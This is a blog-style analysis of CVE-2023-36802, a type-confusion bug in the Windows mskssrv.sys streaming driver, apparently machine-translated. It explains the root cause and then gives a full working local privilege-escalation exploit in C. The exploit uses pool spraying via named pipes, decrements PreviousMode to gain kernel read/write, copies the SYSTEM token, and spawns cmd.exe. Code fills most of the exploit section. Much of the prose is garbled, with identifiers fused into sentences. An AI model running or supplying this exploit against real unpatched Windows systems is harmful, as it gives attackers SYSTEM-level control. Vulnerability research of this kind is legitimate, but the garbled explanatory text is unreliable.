This article will introduce the implementation process of the outdoor cases analyzed by Google Project Zero.
Affected versions
mskssrv.sys (~10.0.22621.1848)
Introduction
Before a driver vulnerability can be deeply analyzed to trigger, communication with the driver is required.
Typically, to communicate with the driver, you need to know the device name to get a handle and then use DeviceIoControla function to trigger the required functionality.
To do this, the driver is typically parsed to look at IoCreateDevicethe third parameter DeviceName. But as you can see from the function below, the mskssrv.sys driver is different than usual.
IoCreateDeviceThe parameters of the function show that the DeviceName parameter is NULL.
Also, as can be inferred from the function name, mskssrv.systhe driver is a Plug and Play (PnP) driver. To communicate with this PnP driver, the device interface path is required.
There are two ways to obtain the device interface path : one is to use the configuration manager function, and the other is to use the SetupAPI function.
You can obtain GUID-related information by viewing the device information through the device manager.
#include <Windows.h>
#include <stdio.h>
#include <cfgmgr32.h>
int main(int argc, char** argv)
{
GUID class_guid = { 0x3c0d501a, 0x140b, 0x11d1, {0xb4, 0xf, 0x0, 0xa0, 0xc9, 0x22, 0x31, 0x96} };
WCHAR interface_list[1024] = { 0 };
CONFIGRET status = CM_Get_Device_Interface_ListW(&class_guid, NULL, interface_list, 1024, CM_GET_DEVICE_INTERFACE_LIST_ALL_DEVICES);
if (status != CR_SUCCESS) {
printf("fail to get path\n");
return -1;
}
WCHAR* currInterface = interface_list;
while (*currInterface) {
printf("%ls\n", currInterface);
currInterface += wcslen(currInterface) + 1;
}
}
If you configure and execute the function as above based on the obtained GUID information, you can find the device interface path called mskssrv.systo communicate with the driver. \?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}
Root Cause Analysis
__int64 __fastcall FSRendezvousServer::PublishRx(FSRendezvousServer *pStreamObject, struct _IRP *a2)
{
...
fsRegisterObject = (const struct FSRegObject *)currentIOStackLocation->FileObject->FsContext2;
foundObject = FSRendezvousServer::FindObject(pStreamObject, fsRegisterObject); // no type check
KeReleaseMutex((PRKMUTEX)((char *)pStreamObject + 8), 0);
if ( foundObject )
{
(*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)fsRegisterObject + 40i64))(fsRegisterObject);
returnStatus = FSStreamReg::PublishRx(fsRegisterObject, (const struct FSFrameInfo *)associatedMasterIrp);
if ( returnStatus >= 0 && currentIOStackLocation->Parameters.Create.OutputBufferLength >= 0x18 )
{
FSStreamReg::GetStats(fsRegisterObject, (struct FSQueueStats *)a2->AssociatedIrp.MasterIrp); // type confusion!!
a2->IoStatus.Information = 24i64;
}
(*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)fsRegisterObject + 48i64))(fsRegisterObject);
}
else
{
return 0xC0000010;
}
return (unsigned int)returnStatus;
}
mskssrv.sys There are two objects in the driver , one 0x78with the size of FSContextRegand the other 0x1d8with the size ofFSStreamRegFSRendezvousServer::FindObjectFSStreamReg::PublishRxThe function was originally created to check whether an object exists before calling the function below FSStreamReg, but there is no internal routine to check the type of the object received as an argument.
Therefore, even if an object rather than an object is passed to the function as an argument FSRendezvousServer::FindObject, it returns, and a type confusion vulnerability occurs in which the function is called with an object as an argument by passing the conditional statement below.FSStreamRegFSContextReg1FSContextRegFSStreamReg::PublishRx
__int64 __fastcall FSStreamReg::PublishRx(FSStreamReg *streamRegInstance, const struct FSFrameInfo *frameInfo)
{
...
framesQueuePointer = (_QWORD *)((char *)streamRegInstance + 0x188); // out of bound read
...
for ( frameIndex = 0; frameIndex < *((_DWORD *)frameInfo + 9); ++frameIndex )
{
if ( (_QWORD *)*framesQueuePointer != framesQueuePointer )
*((_QWORD *)streamRegInstance + 0x33) = *framesQueuePointer;
while ( 1 )
{
currentFrame = *((_QWORD *)streamRegInstance + 0x33);
if ( !currentFrame
|| (_QWORD *)*framesQueuePointer == framesQueuePointer
|| (_QWORD *)currentFrame == framesQueuePointer )
{
break;
}
if ( *(_QWORD *)(currentFrame + 32) == *((_QWORD *)frameInfo + 17 * frameIndex + 6) )
{
currentFrameSize = *(_DWORD *)(currentFrame + 0xD0);
FSFrameMdl::UnmapPages((FSFrameMdl *)currentFrame);
if ( currentFrameSize )
{
ObfDereferenceObject(*((PVOID *)streamRegInstance + 7));
ObfDereferenceObject(*((PVOID *)streamRegInstance + 0x39)); // out of bound decrement
}
framesUnmappedFlag = 1;
}
FSFrameMdlList::MoveNext((FSStreamReg *)((char *)streamRegInstance + 0x140));
}
}
...
if ( framesUnmappedFlag )
{
keventPointer = (struct _KEVENT *)*((_QWORD *)streamRegInstance + 0x35);
if ( keventPointer )
KeSetEvent(keventPointer, 0, 0);
}
...
}
FSStreamReg::PublishRxInside the function, it is assumed that the object received as an argument is an object 0x1D8with a size of , and the operation is performed by referring to the values in , , . At this time, if the object received as an argument is an object of the size , an Out of Bound operation is performed.FSStreamReg+0x188+0x1980x+1C80x78FSContextReg
Primitive
FSStreamReg::PublishRxIn the function, +0x1C8the address in ObfDereferenceObjectis executed. The value of the address is made controllable through Heap Feng Shui, and the field of is decreased from 1 to 0 ObfDereferenceObjectthrough the function.KTHREADPreviousMode
PreviousModeThat 0is, in kernel mode, the value of the kernel address can be read and written through NtReadVirtualMemoryfunctions and functions.NtWriteVirtualMemory
EoP is achieved by overwriting the token value of the current process with the token value read from the system process (PID 4).
Exploit Flow
mskssrv.sysOpen the driver using the device interface path you figured out earlier.
NtQuerySystemInformation(SystemExtendedHandleInformation,...)Use a function to find some kernel addresses
Current KTHREADaddress ( PreviousModeaddress of)
Address of current process and system process EPROCESS( TokenAddress of current process and system process)
mskssrvFILE_OBJECTaddress of device
Refer to the well-known pool spray technique and spray a pool of size IOCTL NtFsControlFilein the function.0x119ff80x80
Close a few pipes to create a hole in the pool.
IOCTL_FS_INIT_CONTEXTCall IOCTL
FSInitializeContextRendezvousA function initializes an object FSRendezvousServer::InitializeContextby calling a function inside it.FSContextReg
FSContextRegThe object is 0x78the size of , so it is assigned to the hole we created.
IOCTL_PUBLISH_RXCall IOCTL from another thread
FSStreamReg::PublishRxCall a function internally
FSStreamReg::PublishRxThe function expects and waits for an object 0x1d8of size , but receives an object of size and performs operations on controlled data.FSStreamReg0x78FSContextReg
FSStreamReg::PublishRxThe function calls the function targeting FSContextRegan object that is outside the scope of the object. At this time , is reduced to 0 => and targeting the kernel address are successful.ObfDereferenceObject PreviousModeNtReadVirtualMemoryNtWriteVirtualMemory
FSStreamReg::PublishRxKeSetEventIf you do not take any specific action when calling from , the value of will be entered POOL_HEADERas the first argument and an exception will be generated, so you must temporarily set the value to => For this purpose, an infinite loop is run through circular references in the loop section through . let it wait for a whileProcessBilledProcessBilledNULL FSFrameMdlList::MoveNext
Perform work on the main thread
NtReadVirtualMemoryIf the token of the system process is read through a loop
PreviousModeand decremented to 0 through the function, NtReadVirtualMemorythe function succeeds.
NtWriteVirtualMemoryThe value of the system token is overwritten with the token value of the current process through the function.
FSContextRegTo obtain the address of , obtain the address of the field FILE_OBJECTofFSContext2
KeSetEventWhen doing this, read and store the referenced ProcessBilledvalue (to recover it later)
KeSetEventWhen you do , you will refer to the value (= ) at the offset FSContextRegin the object, which will be overwritten with+0x1a8ProcessBilledNULL
The value is appropriately overwritten so that the thread that caused the infinite loop can escape the infinite loop.
When this task is completed, the loop thread escapes the loop KeSetEventand calls . NULLHowever, an error occurs because the value for the first argument has already been set to . I never do that
FSStreamReg::PublishRxWait for the function to finish on another thread
ProcessBilledThe value is restored again for normal operation of the pool.
EPROCESSIncrements the current refcount(otherwise a BSOD will occur when the process terminates)
PreviousModeMake it 1 again
You can now execute commands with system privileges (e.g. cmd.exe)
Exploit Flow with Code
- mskssrv.sysOpen the driver using the device interface path you figured out earlier.
hMskssrv = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_NEW,
0,
NULL);
NtQuerySystemInformation(SystemExtendedHandleInformation,...)Use a function to find some kernel addresses
NTSTATUS status = NtQuerySystemInformation(64, handleInfo, len, &len); // SystemExtendedHandleInformation
while (status == STATUS_INFO_LENGTH_MISMATCH) {
free(handleInfo);
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);
if (!handleInfo) {
printf("\t[-] Memory allocation failed\n");
return -1;
}
status = NtQuerySystemInformation(64, handleInfo, len, &len);
}
if (!NT_SUCCESS(status)) {
printf("\t[-] NtQuerySystemInformation failed\n");
free(handleInfo);
return -1;
}
for (ULONG_PTR i = 0;i < handleInfo->NumberOfHandles; i++) {
if (handleInfo->Handles[i].HandleValue == cReg &&
handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
mskssrv_file_obj = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] mskssrv FILE_OBJECT address: %p\n", mskssrv_file_obj);
}
if (handleInfo->Handles[i].HandleValue == hProc &&
handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
cur_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] Current EPROCESS address: %p\n", cur_eprocess);
cur_token = cur_eprocess + 0x4b8;
}
if (handleInfo->Handles[i].UniqueProcessId == 4 &&
handleInfo->Handles[i].HandleValue == 4) {
system_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] System EPROCESS address: %p\n", system_eprocess);
system_token = system_eprocess + 0x4b8;
}
if (handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
handleInfo->Handles[i].HandleValue == hMainThread) {
main_kthread = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] main thread KTHREAD address: %p\n", main_kthread);
main_prevmode = main_kthread + 0x232;
}
}
64Burn SystemExtendedHandleInformationmeans
If the handle is a thread handle KTHREAD, the address of is the address of the thread object. If the handle is a file handle, FILE_OBJECTthe address of is the address of the file object. If the handle is a process handle, EPROCESSthe address of is Objectthe address of the process object.
Refer to the well-known pool spray technique and spray a pool of size IOCTL NtFsControlFilein the function.0x119ff80x80
NTSTATUS s;
HANDLE tmp[SPRAY_SIZE] = { 0 };
for (int i = 0;i < spray_size;i++) {
hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);
tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);
s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
if (!NT_SUCCESS(s)) {
printf("\t[-] pool spraying failed, %p\n", s);
return -1;
}
}
NpInternalWriteWriteFileIf you allocate User Data instead of through , Buffered Entiresit will be allocated to the pool. In this case, the bytes in front of the User Data will be allocated to the 0x30uncontrollable pool.DATA_QUEUE_ENTRY
On the other hand, if you call NtFsControlFilethrough a function , it is allocated to the pool, and only the User Data space is allocated to the pool, allowing you to control all values in the space.NpInternalWriteUnbuffered Entries
Close a few pipes to create a hole in the pool.
for (int i = spray_size-0x20;i < spray_size;i += 4)
{
CloseHandle(tmp[i]); // create hole
CloseHandle(hPipeArray[i]);
}
- IOCTL_FS_INIT_CONTEXTCall IOCTL
DeviceIoControl(cReg, IOCTL_FS_INIT_CONTEXT, InitBuf, 0x100, NULL, 0, NULL, NULL);
When you call this, FSContextRegan object is assigned to the hole you created.
- IOCTL_PUBLISH_RXCall IOCTL from another thread
void thread_sep()
{
printf("\t[+] Loop Thread Start..\n");
ULONG_PTR InBuf[0x20] = { 0 };
InBuf[4] = 0x100000001;
DeviceIoControl(cReg, IOCTL_PUBLISH_RX, InBuf, 0x100, NULL, 0, NULL, NULL);
printf("\t\t[+] Loop thread loop finished..\n");
SetEvent(hEvent);
}
DWORD sep_threadId;
HANDLE hSepThread = CreateThread(NULL, 0, thread_sep, NULL, 0, &sep_threadId);
InBufSince there is a value that must be greater than 1, it must be adjusted well.
In addition, the data must be adjusted appropriately when sprayed into the pool before, so that an infinite loop can run until the value +0x1a8in is overwritten with .ProcessBilledNULL
FSFrameMdlList::MoveNextThe function puts +0x198the value in +0x198and performs work by referring to that address.
To create an environment, spray should be as follows:
FSContextRegThe ideal situation is when 3 or more pipe buffers are allocated.
0: kd> !pool rax
Pool page ffff938927724290 region is Nonpaged pool
ffff938927724000 size: 280 previous size: 0 (Free) ....
*ffff938927724280 size: 90 previous size: 0 (Allocated) *Creg
Owning component : Unknown (update pooltag.txt)
ffff938927724310 size: 90 previous size: 0 (Allocated) IoSB Process: ffff938926d980c0
ffff9389277243a0 size: 90 previous size: 0 (Allocated) IoSB Process: ffff938926d980c0
ffff938927724430 size: 90 previous size: 0 (Allocated) IoSB Process: ffff938926d980c0
ffff9389277244c0 size: 90 previous size: 0 (Allocated) IoSB Process: ffff938926d980c0
ffff938927724550 size: 90 previous size: 0 (Allocated) IoSB Process: ffff938926d980c0
When you first spray, +0x18if you circularly reference PreviousModethe address of and the address of the fake frame in 0x68and , it will cause an infinite loop and can be reduced.0x78PreviousMode
However, PreviousModesince is 1 ObfDereferenceObject, must be executed only once, but if it goes through an infinite loop, it will continue to decrease.
At this time, currentFrame+0xD0if this is 0, ObfDereferenceObjectthis can be solved by not executing.
fs1In the first fake frame, +0xD0set the value to 1 and give the address of FSContextRegthe object to execute.+0x188fs1ObfDereferenceObject
+0x198If fs2you put the address of and fs2make +0xD0the offset of 0, it will execute ObfDereferenceObjectwithout executing in the next loop.FSFrameMdlList::MoveNext
FSFrameMdlList::MoveNextInside the function, fs2the frontmost address of is Next, so put the address of fs2at the front of .fs3
fs3Similarly, +0xD0the offset value is set to 0 and the address of is placed fs3at the very beginning of to make circular references to each other.fs2
If you go through the above process, PreviousModeit will decrease once and become 0, leading to an infinite loop.
Below is the spray code that configures the buffer to satisfy this.
fake_stream fs1 = { 0 };
fake_stream fs2 = { 0 };
fake_stream fs3 = { 0 };
fs1.data[0] = &fs2;
fs1.data[0x1a] = 0x1;
fs2.data[0] = &fs3;
fs3.data[0] = &fs2;
ULONG_PTR Inbuf[0x20] = { 0 };
Inbuf[3] = main_prevmode + 0x30;
Inbuf[0xd] = &fs1;
Inbuf[0xf] = &fs2;
NTSTATUS s;
HANDLE tmp[SPRAY_SIZE] = { 0 };
for (int i = 0;i < spray_size;i++) {
hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);
tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);
s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
if (!NT_SUCCESS(s)) {
printf("\t[-] pool spraying failed, %p\n", s);
return -1;
}
}
PreviousMode+0x30Reason for entering the address of
LONG_PTR __stdcall ObfDereferenceObject(PVOID Object)
{
...
if ( ObpTraceFlags )
ObpPushStackInfo((char *)Object - 48, 0i64, 1i64, 1953261124i64);
v2 = _InterlockedExchangeAdd64((volatile signed __int64 *)Object - 6, 0xFFFFFFFFFFFFFFFFui64); // operate -1
v3 = v2 <= 1;
BugCheckParameter4 = v2 - 1;
if ( !v3 )
return BugCheckParameter4;
...
}
ObfDereferenceObjectIf you look at the function, since the operation is performed Object-0x30on the value in received as an argument , the value of must be decreased by adding the value to the address of found.-1PreviousMode0x30PreviousMode1
- Perform work on the main thread
void thread_main()
{
printf("\t[+] Main Thread Start and Wait for Previous mode overwritten to 0\n");
char leak_prevmode = 1;
ULONG_PTR junk = 0;
NTSTATUS status = -1;
while (!main_prevmode) {
;
}
ULONG_PTR system_token_val = 0;
while (status != STATUS_SUCCESS) {
status = NtReadVirtualMemory(hProc, system_token, &system_token_val, 8, &junk);
}
printf("\t\t[+] Overwrite PrevMode Success\n");
NtWriteVirtualMemory(hProc, cur_token, &system_token_val, 8, &junk);
printf("\t\t[+] OverWrite Current token to system token done, value: %p\n", system_token_val);
ULONG_PTR context2 = 0;
NtReadVirtualMemory(hProc, mskssrv_file_obj + 0x20, &context2, 8, &junk);
printf("\t\t[+] FsContextReg Object addr: %p\n", context2);
ULONG_PTR ProcessBilled = 0;
NtReadVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
printf("\t\t[+] ProcessBilled Value: %p\n", ProcessBilled);
ULONG_PTR null_ = 0;
NtWriteVirtualMemory(hProc, context2 + 0x1a8, &null_, 8, &junk);
printf("\t\t[+] Overwrite ProcessBilled field to zero done\n");
NtWriteVirtualMemory(hProc, context2 + 0x198, &null_, 8, &junk);
printf("\t\t[+] Overwrite FsContextReg object+0x188 to zero to break loop\n");
WaitForSingleObject(hEvent, INFINITE);
printf("\t\t[+] Restore Start..\n");
NtWriteVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
printf("\t\t\t[+] Restore ProcessBilled field done\n");
ULONG_PTR object_header = cur_eprocess - 0x30;
ULONG_PTR PointerCount = 0;
printf("\t\t\t[+] Current EPROCESS's OBJECT_HEADER address: %p\n", object_header);
NtReadVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
printf("\t\t\t[+] Ref Count: 0x%p\n", PointerCount);
PointerCount++;
NtWriteVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
printf("\t\t\t[+] Increment of current EPROCESS object done\n");
NtWriteVirtualMemory(hProc, main_prevmode, &leak_prevmode, 1, &junk);
printf("\t\t\t[+] Reset PreviousMode to 1 done\n");
}
NtReadVirtualMemoryRepeat until success, and if successful, perform token copy and recovery to achieve EoP.
- FSContextRegHow to find object address
FileObjectSince the address of NtQuerySystemInformation was found through the function, all you have to do is find the address of the field FILE_OBJECTinside the structure.FsContext2
struct _FILE_OBJECT
{
SHORT Type; //0x0
SHORT Size; //0x2
struct _DEVICE_OBJECT* DeviceObject; //0x8
struct _VPB* Vpb; //0x10
VOID* FsContext; //0x18
VOID* FsContext2; //0x20 <- here
struct _SECTION_OBJECT_POINTERS* SectionObjectPointer; //0x28
VOID* PrivateCacheMap; //0x30
LONG FinalStatus; //0x38
struct _FILE_OBJECT* RelatedFileObject; //0x40
UCHAR LockOperation; //0x48
UCHAR DeletePending; //0x49
UCHAR ReadAccess; //0x4a
UCHAR WriteAccess; //0x4b
UCHAR DeleteAccess; //0x4c
UCHAR SharedRead; //0x4d
UCHAR SharedWrite; //0x4e
UCHAR SharedDelete; //0x4f
ULONG Flags; //0x50
struct _UNICODE_STRING FileName; //0x58
union _LARGE_INTEGER CurrentByteOffset; //0x68
ULONG Waiters; //0x70
ULONG Busy; //0x74
VOID* LastLock; //0x78
struct _KEVENT Lock; //0x80
struct _KEVENT Event; //0x98
struct _IO_COMPLETION_CONTEXT* CompletionContext; //0xb0
ULONGLONG IrpListLock; //0xb8
struct _LIST_ENTRY IrpList; //0xc0
VOID* FileObjectExtension; //0xd0
};
Full Exploit Code
include "defs.h"
define IOCTL_FS_INIT_CONTEXT 0x2F0400
define IOCTL_PUBLISH_RX 0x2F040C
define SPRAY_SIZE 20000
HANDLE hEvent;
ULONG_PTR mskssrv_file_obj;
ULONG_PTR cur_eprocess;
ULONG_PTR cur_token;
ULONG_PTR system_eprocess;
ULONG_PTR system_token;
ULONG_PTR main_kthread;
ULONG_PTR main_prevmode;
HANDLE hMskssrv;
NtWriteVirtualMemoryFunc NtWriteVirtualMemory;
NtReadVirtualMemoryFunc NtReadVirtualMemory;
HANDLE hProc;
HANDLE hMainThread;
HANDLE cReg;
HANDLE hSystem;
typedef struct fake_stream_ {
ULONG_PTR data[0x3b];
}fake_stream;
void thread_main()
{
printf("\t[+] Main Thread Start and Wait for Previous mode overwritten to 0\n");
char leak_prevmode = 1;
ULONG_PTR junk = 0;
NTSTATUS status = -1;
while (!main_prevmode) {
;
}
ULONG_PTR system_token_val = 0;
while (status != STATUS_SUCCESS) {
status = NtReadVirtualMemory(hProc, system_token, &system_token_val, 8, &junk);
}
printf("\t\t[+] Overwrite PrevMode Success\n");
NtWriteVirtualMemory(hProc, cur_token, &system_token_val, 8, &junk);
printf("\t\t[+] OverWrite Current token to system token done, value: %p\n", system_token_val);
ULONG_PTR context2 = 0;
NtReadVirtualMemory(hProc, mskssrv_file_obj + 0x20, &context2, 8, &junk);
printf("\t\t[+] FsContextReg Object addr: %p\n", context2);
ULONG_PTR ProcessBilled = 0;
NtReadVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
printf("\t\t[+] ProcessBilled Value: %p\n", ProcessBilled);
ULONG_PTR null_ = 0;
NtWriteVirtualMemory(hProc, context2 + 0x1a8, &null_, 8, &junk);
printf("\t\t[+] Overwrite ProcessBilled field to zero done\n");
NtWriteVirtualMemory(hProc, context2 + 0x198, &null_, 8, &junk);
printf("\t\t[+] Overwrite FsContextReg object+0x188 to zero to break loop\n");
WaitForSingleObject(hEvent, INFINITE);
printf("\t\t[+] Restore Start..\n");
NtWriteVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
printf("\t\t\t[+] Restore ProcessBilled field done\n");
ULONG_PTR object_header = cur_eprocess - 0x30;
ULONG_PTR PointerCount = 0;
printf("\t\t\t[+] Current EPROCESS's OBJECT_HEADER address: %p\n", object_header);
NtReadVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
printf("\t\t\t[+] Ref Count: 0x%p\n", PointerCount);
PointerCount++;
NtWriteVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
printf("\t\t\t[+] Increment of current EPROCESS object done\n");
NtWriteVirtualMemory(hProc, main_prevmode, &leak_prevmode, 1, &junk);
printf("\t\t\t[+] Reset PreviousMode to 1 done\n");
}
void thread_sep()
{
printf("\t[+] Loop Thread Start..\n");
ULONG_PTR InBuf[0x20] = { 0 };
InBuf[4] = 0x100000001;
DeviceIoControl(cReg, IOCTL_PUBLISH_RX, InBuf, 0x100, NULL, 0, NULL, NULL);
printf("\t\t[+] Loop thread loop finished..\n");
SetEvent(hEvent);
}
int main(int argc, char** argv)
{
printf("[+] Start CVE-2023-36802 Exploit..\n");
HMODULE hNtDll = GetModuleHandleW(L"ntdll.dll");
if (!hNtDll) {
printf("\t[-] Failed to get ntdll handle.\n");
return -1;
}
NtFsControlFileFunc NtFsControlFile = (NtFsControlFileFunc)GetProcAddress(hNtDll, "NtFsControlFile");
NtReadVirtualMemory = (NtReadVirtualMemoryFunc)GetProcAddress(hNtDll, "NtReadVirtualMemory");
NtWriteVirtualMemory = (NtWriteVirtualMemoryFunc)GetProcAddress(hNtDll, "NtWriteVirtualMemory");
if (!NtFsControlFile || !NtReadVirtualMemory || !NtWriteVirtualMemory) {
printf("\t[-] Failed to get Nt function address.\n");
return -1;
}
// Open mskssrv device
hMskssrv = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_NEW,
0,
NULL);
// Leak required kernel address
ULONG len = sizeof(SYSTEM_HANDLE_INFORMATION_EX);
PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);
if (!handleInfo) {
printf("\t[-] Memory allocation failed\n");
return -1;
}
hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_ALL_ACCESS, 0, GetCurrentProcessId());
DWORD main_threadId;
hMainThread = CreateThread(NULL, 0, thread_main, NULL, 0, &main_threadId);
cReg = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_NEW,
0,
NULL);
NTSTATUS status = NtQuerySystemInformation(64, handleInfo, len, &len); // SystemExtendedHandleInformation
while (status == STATUS_INFO_LENGTH_MISMATCH) {
free(handleInfo);
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);
if (!handleInfo) {
printf("\t[-] Memory allocation failed\n");
return -1;
}
status = NtQuerySystemInformation(64, handleInfo, len, &len);
}
if (!NT_SUCCESS(status)) {
printf("\t[-] NtQuerySystemInformation failed\n");
free(handleInfo);
return -1;
}
for (ULONG_PTR i = 0;i < handleInfo->NumberOfHandles; i++) {
if (handleInfo->Handles[i].HandleValue == cReg &&
handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
mskssrv_file_obj = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] mskssrv FILE_OBJECT address: %p\n", mskssrv_file_obj);
}
if (handleInfo->Handles[i].HandleValue == hProc &&
handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
cur_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] Current EPROCESS address: %p\n", cur_eprocess);
cur_token = cur_eprocess + 0x4b8;
}
if (handleInfo->Handles[i].UniqueProcessId == 4 &&
handleInfo->Handles[i].HandleValue == 4) {
system_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] System EPROCESS address: %p\n", system_eprocess);
system_token = system_eprocess + 0x4b8;
}
if (handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
handleInfo->Handles[i].HandleValue == hMainThread) {
main_kthread = (ULONG_PTR)handleInfo->Handles[i].Object;
printf("\t[+] main thread KTHREAD address: %p\n", main_kthread);
main_prevmode = main_kthread + 0x232;
}
}
// Spraying pool
DWORD spray_size = SPRAY_SIZE;
PHANDLE hPipeArray = malloc(sizeof(HANDLE) * spray_size);
PHANDLE hFileArray = malloc(sizeof(HANDLE) * spray_size);
IO_STATUS_BLOCK isb;
fake_stream fs1 = { 0 };
fake_stream fs2 = { 0 };
fake_stream fs3 = { 0 };
fs1.data[0] = &fs2;
fs1.data[0x1a] = 0x1;
fs2.data[0] = &fs3;
fs3.data[0] = &fs2;
ULONG_PTR Inbuf[0x20] = { 0 };
Inbuf[3] = main_prevmode + 0x30;
Inbuf[0xd] = &fs1;
Inbuf[0xf] = &fs2;
NTSTATUS s;
HANDLE tmp[SPRAY_SIZE] = { 0 };
for (int i = 0;i < spray_size;i++) {
hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);
tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);
s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
if (!NT_SUCCESS(s)) {
printf("\t[-] pool spraying failed, %p\n", s);
return -1;
}
}
//Create Holes
for (int i = spray_size-0x20;i < spray_size;i += 4)
{
CloseHandle(tmp[i]); // create hole
CloseHandle(hPipeArray[i]);
}
ULONG_PTR InitBuf[0x20] = { 0 };
InitBuf[0] = 0xdeadbeef; // &1 != 0
InitBuf[1] = 0xdeadbeef1; // non-zero value
InitBuf[2] = 0xdeadbeef2; // non-zero value
// InitBuf[3] = 0
// Put FsContextReg in Hole
DeviceIoControl(cReg, IOCTL_FS_INIT_CONTEXT, InitBuf, 0x100, NULL, 0, NULL, NULL);
DWORD sep_threadId;
HANDLE hSepThread = CreateThread(NULL, 0, thread_sep, NULL, 0, &sep_threadId);
WaitForSingleObject(hMainThread, INFINITE);
WaitForSingleObject(hSepThread, INFINITE);
for (int i = 0;i < spray_size;i++) {
if (tmp[i]) CloseHandle(tmp[i]);
if (hPipeArray[i]) CloseHandle(hPipeArray[i]);
}
CloseHandle(hMainThread);
CloseHandle(hSepThread);
CloseHandle(hEvent);
system("cmd.exe");
return 0;
}
References
https://www.cisa.gov/news-events/alerts/2023/09/12/cisa-adds-two-known-vulnerabilities-catalog
https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2023/CVE-2023-36802.html
https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/blob/master/readme.md
Source :- https://tutorialboy24.blogspot.com/2024/01/analysis-of-microsoft-streaming-agent.html
Top comments (0)